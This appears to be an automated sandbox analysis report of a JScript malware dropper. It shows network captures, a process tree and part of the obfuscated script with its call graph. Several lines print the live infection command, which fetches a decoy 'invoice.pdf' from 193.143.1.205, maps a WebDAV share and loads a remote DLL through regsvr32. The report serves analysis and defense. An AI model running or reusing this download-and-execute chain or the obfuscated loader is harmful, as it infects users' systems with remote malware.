20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:12:16.786005020 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:12:16.786017895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 04:12:16.786067963 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 04:12:16.786082029 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 04:12:16.786098003 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 04:12:16.786109924 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 04:12:16.786128998 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 04:12:16.786140919 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 04:12:16.786150932 CET	104	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 11, 2025 04:12:16.791058064 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	3116	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:12:18.497917891 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:12:19.293246031 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:12:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:12:11
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js"
Imagebase:	0x7ff64d410000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:12:12
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Imagebase:	0x7ff617bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:12:12
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:12:12
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:12:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:12:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff617bb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:12:17
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60b6b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:12:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:12:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:12:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,6017882207211012729,3490732778101089256,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gxmsipzbe() {	gxmsipzbe() ➔ undefined
1	weilk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xhryvwj = this[wqhtf + raybdq + vsccgsu + acbmvaag + ewaftwrp + fjuyn + mjdtcfjw + hpwzcpt] ( this[nnytr + uhuwne + ueohc + vsccgsu + hpempit + wqhtf + hpwzcpt][gyjclq + vsccgsu + ewaftwrp + raybdq + hpwzcpt + ewaftwrp + xkjbpke + ujpgo + xcaqfl + ewaftwrp + ueohc + hpwzcpt] ( nnytr + uhuwne + ueohc + vsccgsu + hpempit + wqhtf + hpwzcpt + enpiuogd + uhuwne + wckehtkdo + ewaftwrp + usmfs + usmfs ) [hdabqpub + ewaftwrp + pxbacxbey + hdabqpub + ewaftwrp + raybdq + owwmyfmt] ( ttbzqunxg + tgpddhw + fmsxsi + kktpnr + recrc + gyjclq + fzszruar + hdabqpub + hdabqpub + fmsxsi + ziuwhgy + lvuub + recrc + fzszruar + uhuwne + fmsxsi + hdabqpub + tqrgbxz + gyjclq + dbuisxmbc + mjdtcfjw + hpwzcpt + vsccgsu + dbuisxmbc + usmfs + dkjni + kiwnk + raybdq + mjdtcfjw + ewaftwrp + usmfs + tqrgbxz + fjuyn + mjdtcfjw + hpwzcpt + ewaftwrp + vsccgsu + mjdtcfjw + raybdq + hpwzcpt + hpempit + dbuisxmbc + mjdtcfjw + raybdq + usmfs + tqrgbxz + omwss + dbuisxmbc + ueohc + raybdq + usmfs + ewaftwrp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( aaafuo = 0 ; aaafuo < weilk[usmfs + ewaftwrp + mjdtcfjw + pxbacxbey + hpwzcpt + wckehtkdo] ; ++ aaafuo )
4	{
5	if ( xhryvwj == weilk[aaafuo] )
6	{
7	xhryvwj = true;
8	break ;
9	}
10	}
11	if ( xhryvwj !== true )
12	this[nnytr + uhuwne + ueohc + vsccgsu + hpempit + wqhtf + hpwzcpt][ckicpgor + hlkmqz + hpempit + hpwzcpt] ( );
13	this[nnytr + uhuwne + ueohc + vsccgsu + hpempit + wqhtf + hpwzcpt][gyjclq + vsccgsu + ewaftwrp + raybdq + hpwzcpt + ewaftwrp + xkjbpke + ujpgo + xcaqfl + ewaftwrp + ueohc + hpwzcpt] ( nnytr + uhuwne + ueohc + vsccgsu + hpempit + wqhtf + hpwzcpt + enpiuogd + uhuwne + wckehtkdo + ewaftwrp + usmfs + usmfs ) [vsccgsu + hlkmqz + mjdtcfjw] ( ueohc + jdakn + owwmyfmt + dkjni + ncpyf + ueohc + dkjni + wqhtf + dbuisxmbc + akkajs + ewaftwrp + vsccgsu + acbmvaag + wckehtkdo + ewaftwrp + usmfs + usmfs + enpiuogd + ewaftwrp + iiaooycqu + ewaftwrp + dkjni + acpap + gyjclq + dbuisxmbc + jdakn + jdakn + raybdq + mjdtcfjw + owwmyfmt + dkjni + nnuxdc + fjuyn + mjdtcfjw + kdgdmgt + dbuisxmbc + wyltzvel + ewaftwrp + acpap + nnytr + ewaftwrp + ujpgo + hdabqpub + ewaftwrp + dnrqwde + hlkmqz + ewaftwrp + acbmvaag + hpwzcpt + dkjni + acpap + xkjbpke + hlkmqz + hpwzcpt + tzlhgpj + hpempit + usmfs + ewaftwrp + dkjni + apxaq + hpwzcpt + ewaftwrp + jdakn + wqhtf + apxaq + tqrgbxz + hpempit + mjdtcfjw + kdgdmgt + dbuisxmbc + hpempit + ueohc + ewaftwrp + enpiuogd + wqhtf + owwmyfmt + ydzidctir + dkjni + wckehtkdo + hpwzcpt + hpwzcpt + wqhtf + xvdyegbcc + ncpyf + ncpyf + efblwhiw + bfazxv + eecek + enpiuogd + efblwhiw + hsjicihr + eecek + enpiuogd + efblwhiw + enpiuogd + uzqqcytk + kvknkbly + bhfnqkvez + ncpyf + hpempit + mjdtcfjw + kdgdmgt + dbuisxmbc + hpempit + ueohc + ewaftwrp + enpiuogd + wqhtf + wckehtkdo + wqhtf + nnuxdc + aahau + aahau + acbmvaag + hpwzcpt + raybdq + vsccgsu + hpwzcpt + dkjni + apxaq + hpwzcpt + ewaftwrp + jdakn + wqhtf + apxaq + tqrgbxz + hpempit + mjdtcfjw + kdgdmgt + dbuisxmbc + hpempit + ueohc + ewaftwrp + enpiuogd + wqhtf + owwmyfmt + ydzidctir + aahau + aahau + ueohc + jdakn + owwmyfmt + dkjni + ncpyf + ueohc + dkjni + mjdtcfjw + ewaftwrp + hpwzcpt + dkjni + hlkmqz + acbmvaag + ewaftwrp + dkjni + tqrgbxz + tqrgbxz + efblwhiw + bfazxv + eecek + enpiuogd + efblwhiw + hsjicihr + eecek + enpiuogd + efblwhiw + enpiuogd + uzqqcytk + kvknkbly + bhfnqkvez + rdxczxu + myvqhqfi + myvqhqfi + myvqhqfi + myvqhqfi + tqrgbxz + owwmyfmt + raybdq + kdgdmgt + akkajs + akkajs + akkajs + vsccgsu + dbuisxmbc + dbuisxmbc + hpwzcpt + tqrgbxz + aahau + aahau + ueohc + jdakn + owwmyfmt + dkjni + ncpyf + ueohc + dkjni + vsccgsu + ewaftwrp + pxbacxbey + acbmvaag + kdgdmgt + vsccgsu + eecek + uzqqcytk + dkjni + ncpyf + acbmvaag + dkjni + tqrgbxz + tqrgbxz + efblwhiw + bfazxv + eecek + enpiuogd + efblwhiw + hsjicihr + eecek + enpiuogd + efblwhiw + enpiuogd + uzqqcytk + kvknkbly + bhfnqkvez + rdxczxu + myvqhqfi + myvqhqfi + myvqhqfi + myvqhqfi + tqrgbxz + owwmyfmt + raybdq + kdgdmgt + akkajs + akkajs + akkajs + vsccgsu + dbuisxmbc + dbuisxmbc + hpwzcpt + tqrgbxz + uzqqcytk + bhfnqkvez + kvknkbly + ehrmn + kvknkbly + eecek + uzqqcytk + efblwhiw + uzqqcytk + myvqhqfi + uzqqcytk + uzqqcytk + eecek + bhfnqkvez + ejfta + enpiuogd + owwmyfmt + usmfs + usmfs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll",0,false) ➔ 0
14	}
15	nnuxdc = "\"";
16	recrc = "L";
17	recrc = "H";
18	recrc = "h";
19	recrc = "b";
20	recrc = "E";
21	recrc = "d";
22	recrc = "q";
23	recrc = "v";
24	recrc = "n";
25	recrc = "k";
26	recrc = "h";
27	recrc = "M";
28	recrc = "q";
29	recrc = "U";
30	recrc = "v";
31	recrc = "V";
32	recrc = "W";
33	recrc = "i";
34	recrc = "J";
35	recrc = "G";
36	recrc = "h";
37	recrc = "S";
38	recrc = "T";
39	recrc = "L";
40	recrc = "T";
41	recrc = "e";
42	recrc = "Q";
43	recrc = "I";
44	recrc = "c";
45	recrc = "_";
46	kiwnk = "c";
47	kiwnk = "D";
48	kiwnk = "b";
49	kiwnk = "K";
50	kiwnk = "s";
51	kiwnk = "v";
52	kiwnk = "w";
53	kiwnk = "f";
54	kiwnk = "s";
55	kiwnk = "P";
56	kiwnk = "p";
57	kiwnk = "w";
58	kiwnk = "o";
59	kiwnk = "P";
60	hlkmqz = "J";
61	hlkmqz = "x";
62	hlkmqz = "R";
63	hlkmqz = "s";
64	hlkmqz = "U";
65	hlkmqz = "o";
66	hlkmqz = "S";
67	hlkmqz = "o";
68	hlkmqz = "d";
69	hlkmqz = "M";
70	hlkmqz = "w";
71	hlkmqz = "D";
72	hlkmqz = "F";
73	hlkmqz = "k";
74	hlkmqz = "Z";
75	hlkmqz = "O";
76	hlkmqz = "b";
77	hlkmqz = "c";
78	hlkmqz = "L";
79	hlkmqz = "r";
80	hlkmqz = "c";
81	hlkmqz = "u";
82	hlkmqz = "K";
83	hlkmqz = "w";
84	hlkmqz = "w";
85	hlkmqz = "G";
86	hlkmqz = "F";
87	hlkmqz = "D";
88	hlkmqz = "K";
89	hlkmqz = "m";
90	hlkmqz = "u";
91	fjuyn = "l";
92	fjuyn = "H";
93	fjuyn = "B";
94	fjuyn = "C";
95	fjuyn = "w";
96	fjuyn = "v";
97	fjuyn = "p";
98	fjuyn = "G";
99	fjuyn = "Z";
100	fjuyn = "S";
101	fjuyn = "I";
102	uzqqcytk = "w";
103	uzqqcytk = "g";
104	uzqqcytk = "U";
105	uzqqcytk = "i";
106	uzqqcytk = "v";
107	uzqqcytk = "o";
108	uzqqcytk = "G";
109	uzqqcytk = "o";
110	uzqqcytk = "y";
111	uzqqcytk = "2";
112	ydzidctir = "D";
113	ydzidctir = "O";
114	ydzidctir = "s";
115	ydzidctir = "S";
116	ydzidctir = "c";
117	ydzidctir = "h";
118	ydzidctir = "x";
119	ydzidctir = "E";
120	ydzidctir = "S";
121	ydzidctir = "q";
122	ydzidctir = "u";
123	ydzidctir = "X";
124	ydzidctir = "K";
125	ydzidctir = "f";
126	fzszruar = "v";
127	fzszruar = "h";
128	fzszruar = "a";
129	fzszruar = "r";
130	fzszruar = "q";
131	fzszruar = "W";
132	fzszruar = "y";
133	fzszruar = "n";
134	fzszruar = "p";
135	fzszruar = "U";
136	ckicpgor = "Q";
137	ckicpgor = "e";
138	ckicpgor = "N";
139	ckicpgor = "x";
140	ckicpgor = "k";
141	ckicpgor = "o";
142	ckicpgor = "v";
143	ckicpgor = "w";
144	ckicpgor = "t";
145	ckicpgor = "l";
146	ckicpgor = "O";
147	ckicpgor = "G";
148	ckicpgor = "T";
149	ckicpgor = "r";
150	ckicpgor = "z";
151	ckicpgor = "U";
152	ckicpgor = "k";
153	ckicpgor = "F";
154	ckicpgor = "v";
155	ckicpgor = "Z";
156	ckicpgor = "u";
157	ckicpgor = "F";
158	ckicpgor = "X";
159	ckicpgor = "K";
160	ckicpgor = "v";
161	ckicpgor = "u";
162	ckicpgor = "O";
163	ckicpgor = "s";
164	ckicpgor = "s";
165	ckicpgor = "J";
166	ckicpgor = "T";
167	ckicpgor = "V";
168	ckicpgor = "P";
169	ckicpgor = "v";
170	ckicpgor = "R";
171	ckicpgor = "y";
172	ckicpgor = "t";
173	ckicpgor = "j";
174	ckicpgor = "g";
175	ckicpgor = "t";
176	ckicpgor = "t";
177	ckicpgor = "Q";
178	ckicpgor = "t";
179	ckicpgor = "i";
180	ckicpgor = "Q";
181	lvuub = "J";
182	lvuub = "P";
183	lvuub = "N";
184	lvuub = "j";
185	lvuub = "F";
186	lvuub = "y";
187	lvuub = "h";
188	lvuub = "R";
189	lvuub = "x";
190	lvuub = "a";
191	lvuub = "z";
192	lvuub = "j";
193	lvuub = "Y";
194	lvuub = "x";
195	lvuub = "E";
196	lvuub = "T";
197	lvuub = "r";
198	lvuub = "e";
199	lvuub = "D";
200	lvuub = "C";
201	lvuub = "P";
202	lvuub = "p";
203	lvuub = "m";
204	lvuub = "T";
205	hsjicihr = "y";
206	hsjicihr = "u";
207	hsjicihr = "o";
208	hsjicihr = "F";
209	hsjicihr = "m";
210	hsjicihr = "l";
211	hsjicihr = "X";
212	hsjicihr = "Q";
213	hsjicihr = "p";
214	hsjicihr = "Z";
215	hsjicihr = "m";
216	hsjicihr = "G";
217	hsjicihr = "y";
218	hsjicihr = "Z";
219	hsjicihr = "V";
220	hsjicihr = "X";
221	hsjicihr = "M";
222	hsjicihr = "n";
223	hsjicihr = "x";
224	hsjicihr = "p";
225	hsjicihr = "I";
226	hsjicihr = "4";
227	xvdyegbcc = "c";
228	xvdyegbcc = "u";
229	xvdyegbcc = "a";
230	xvdyegbcc = "h";
231	xvdyegbcc = "l";
232	xvdyegbcc = "U";
233	xvdyegbcc = "s";
234	xvdyegbcc = "N";
235	xvdyegbcc = "h";
236	xvdyegbcc = "o";
237	xvdyegbcc = "a";
238	xvdyegbcc = "O";
239	xvdyegbcc = "z";
240	xvdyegbcc = "n";
241	xvdyegbcc = "c";
242	xvdyegbcc = "Z";
243	xvdyegbcc = "D";
244	xvdyegbcc = "W";
245	xvdyegbcc = "m";
246	xvdyegbcc = "J";
247	xvdyegbcc = "J";
248	xvdyegbcc = "g";
249	xvdyegbcc = "I";
250	xvdyegbcc = "T";
251	xvdyegbcc = "b";
252	xvdyegbcc = "o";
253	xvdyegbcc = "z";
254	xvdyegbcc = "z";
255	xvdyegbcc = "w";
256	xvdyegbcc = "O";
257	xvdyegbcc = "M";
258	xvdyegbcc = "l";
259	xvdyegbcc = "f";
260	xvdyegbcc = "J";
261	xvdyegbcc = "I";
262	xvdyegbcc = "q";
263	xvdyegbcc = "K";
264	xvdyegbcc = ":";
265	kvknkbly = "Y";
266	kvknkbly = "R";
267	kvknkbly = "K";
268	kvknkbly = "M";
269	kvknkbly = "V";
270	kvknkbly = "H";
271	kvknkbly = "m";
272	kvknkbly = "z";
273	kvknkbly = "w";
274	kvknkbly = "R";
275	kvknkbly = "s";
276	kvknkbly = "X";
277	kvknkbly = "s";
278	kvknkbly = "u";
279	kvknkbly = "Y";
280	kvknkbly = "r";
281	kvknkbly = "T";
282	kvknkbly = "w";
283	kvknkbly = "0";
284	rdxczxu = "Z";
285	rdxczxu = "g";
286	rdxczxu = "g";
287	rdxczxu = "P";
288	rdxczxu = "p";
289	rdxczxu = "k";
290	rdxczxu = "n";
291	rdxczxu = "T";
292	rdxczxu = "k";
293	rdxczxu = "u";
294	rdxczxu = "G";
295	rdxczxu = "n";
296	rdxczxu = "w";
297	rdxczxu = "L";
298	rdxczxu = "W";
299	rdxczxu = "G";
300	rdxczxu = "v";
301	rdxczxu = "A";
302	rdxczxu = "P";
303	rdxczxu = "t";
304	rdxczxu = "I";
305	rdxczxu = "B";
306	rdxczxu = "F";
307	rdxczxu = "N";
308	rdxczxu = "X";
309	rdxczxu = "O";
310	rdxczxu = "Z";
311	rdxczxu = "L";
312	rdxczxu = "C";
313	rdxczxu = "a";
314	rdxczxu = "B";
315	rdxczxu = "O";
316	rdxczxu = "W";
317	rdxczxu = "A";
318	rdxczxu = "s";
319	rdxczxu = "W";
320	rdxczxu = "U";
321	rdxczxu = "@";
322	hpwzcpt = "l";
323	hpwzcpt = "f";
324	hpwzcpt = "l";
325	hpwzcpt = "q";
326	hpwzcpt = "d";
327	hpwzcpt = "I";
328	hpwzcpt = "x";
329	hpwzcpt = "l";
330	hpwzcpt = "h";
331	hpwzcpt = "b";
332	hpwzcpt = "C";
333	hpwzcpt = "n";
334	hpwzcpt = "a";
335	hpwzcpt = "h";
336	hpwzcpt = "h";
337	hpwzcpt = "p";
338	hpwzcpt = "c";
339	hpwzcpt = "w";
340	hpwzcpt = "Y";
341	hpwzcpt = "v";
342	hpwzcpt = "i";
343	hpwzcpt = "e";
344	hpwzcpt = "t";
345	pxbacxbey = "s";
346	pxbacxbey = "R";
347	pxbacxbey = "x";
348	pxbacxbey = "o";
349	pxbacxbey = "D";
350	pxbacxbey = "m";
351	pxbacxbey = "n";
352	pxbacxbey = "J";
353	pxbacxbey = "n";
354	pxbacxbey = "v";
355	pxbacxbey = "l";
356	pxbacxbey = "s";
357	pxbacxbey = "p";
358	pxbacxbey = "n";
359	pxbacxbey = "l";
360	pxbacxbey = "g";
361	eecek = "p";
362	eecek = "Z";
363	eecek = "o";
364	eecek = "o";
365	eecek = "h";
366	eecek = "t";
367	eecek = "j";
368	eecek = "u";
369	eecek = "L";
370	eecek = "D";
371	eecek = "K";
372	eecek = "E";
373	eecek = "J";
374	eecek = "y";
375	eecek = "3";
376	xkjbpke = "h";
377	xkjbpke = "o";
378	xkjbpke = "N";
379	xkjbpke = "y";
